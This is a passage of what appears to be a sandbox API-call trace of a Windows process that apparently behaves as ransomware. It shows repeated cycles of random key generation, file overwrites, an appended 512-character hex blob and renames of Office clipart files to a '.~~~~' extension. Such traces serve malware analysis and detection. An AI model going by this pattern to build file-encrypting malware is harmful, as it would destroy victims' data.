	[0098.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.054] GetLastError () returned 0x0
	[0098.054] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.055] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.055] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.055] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21804539343) returned 1
	[0098.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4296b90, dwHighDateTime=0x1d60e1e)) 
	[0098.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841488
	[0098.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841488 | out: hHeap=0x300000) returned 1
	[0098.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280daa0
	[0098.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.056] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.056] GetLastError () returned 0x0
	[0098.056] GetLastError () returned 0x0
	[0098.056] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.056] GetLastError () returned 0x0
	[0098.056] GetLastError () returned 0x0
	[0098.067] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffbf34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.067] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x40cc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x40cc, lpOverlapped=0x0) returned 1
	[0098.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.069] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.069] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.069] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.069] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.069] CloseHandle (hObject=0xc4) returned 1
	[0098.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.069] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.~~~~")) returned 1
	[0098.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.071] GetLastError () returned 0x0
	[0098.071] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.072] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.072] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.072] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21806262054) returned 1
	[0098.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa42bccf0, dwHighDateTime=0x1d60e1e)) 
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28414c0
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28414c0 | out: hHeap=0x300000) returned 1
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280dd00
	[0098.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.073] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.073] GetLastError () returned 0x0
	[0098.074] GetLastError () returned 0x0
	[0098.074] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.074] GetLastError () returned 0x0
	[0098.074] GetLastError () returned 0x0
	[0098.086] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd31c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.086] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2ce4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2ce4, lpOverlapped=0x0) returned 1
	[0098.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.087] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.087] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.087] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.087] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.087] CloseHandle (hObject=0xc4) returned 1
	[0098.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.088] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.~~~~")) returned 1
	[0098.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.089] GetLastError () returned 0x0
	[0098.090] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d94d0) returned 1
	[0098.091] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0098.091] CryptReleaseContext (hProv=0x28d94d0, dwFlags=0x0) returned 1
	[0098.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0098.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.091] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21808121786) returned 1
	[0098.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa42e2e50, dwHighDateTime=0x1d60e1e)) 
	[0098.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841530
	[0098.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841530 | out: hHeap=0x300000) returned 1
	[0098.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280dd98
	[0098.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.092] GetLastError () returned 0x0
	[0098.092] GetLastError () returned 0x0
	[0098.092] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.092] GetLastError () returned 0x0
	[0098.093] GetLastError () returned 0x0
	[0098.097] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffecc8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.098] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1338, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1338, lpOverlapped=0x0) returned 1
	[0098.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.099] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.099] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.099] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.099] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.099] CloseHandle (hObject=0xc4) returned 1
	[0098.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.~~~~")) returned 1
	[0098.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.100] GetLastError () returned 0x0
	[0098.102] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.103] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.103] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.103] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21809309857) returned 1
	[0098.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4308fb0, dwHighDateTime=0x1d60e1e)) 
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841568
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841568 | out: hHeap=0x300000) returned 1
	[0098.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386088
	[0098.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.104] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.104] GetLastError () returned 0x0
	[0098.104] GetLastError () returned 0x0
	[0098.104] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.104] GetLastError () returned 0x0
	[0098.104] GetLastError () returned 0x0
	[0098.107] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffad20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.108] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x52e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x52e0, lpOverlapped=0x0) returned 1
	[0098.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.109] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.109] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.109] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.109] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.109] CloseHandle (hObject=0xc4) returned 1
	[0098.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.~~~~")) returned 1
	[0098.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.111] GetLastError () returned 0x0
	[0098.123] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.124] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.124] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.124] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21811521801) returned 1
	[0098.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4355270, dwHighDateTime=0x1d60e1e)) 
	[0098.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841610
	[0098.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841610 | out: hHeap=0x300000) returned 1
	[0098.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e2b0
	[0098.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.134] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.134] GetLastError () returned 0x0
	[0098.134] GetLastError () returned 0x0
	[0098.134] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.134] GetLastError () returned 0x0
	[0098.134] GetLastError () returned 0x0
	[0098.159] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff210, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.159] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0xdf0, lpOverlapped=0x0) returned 1
	[0098.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.171] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.172] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.172] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.172] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.172] CloseHandle (hObject=0xc4) returned 1
	[0098.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
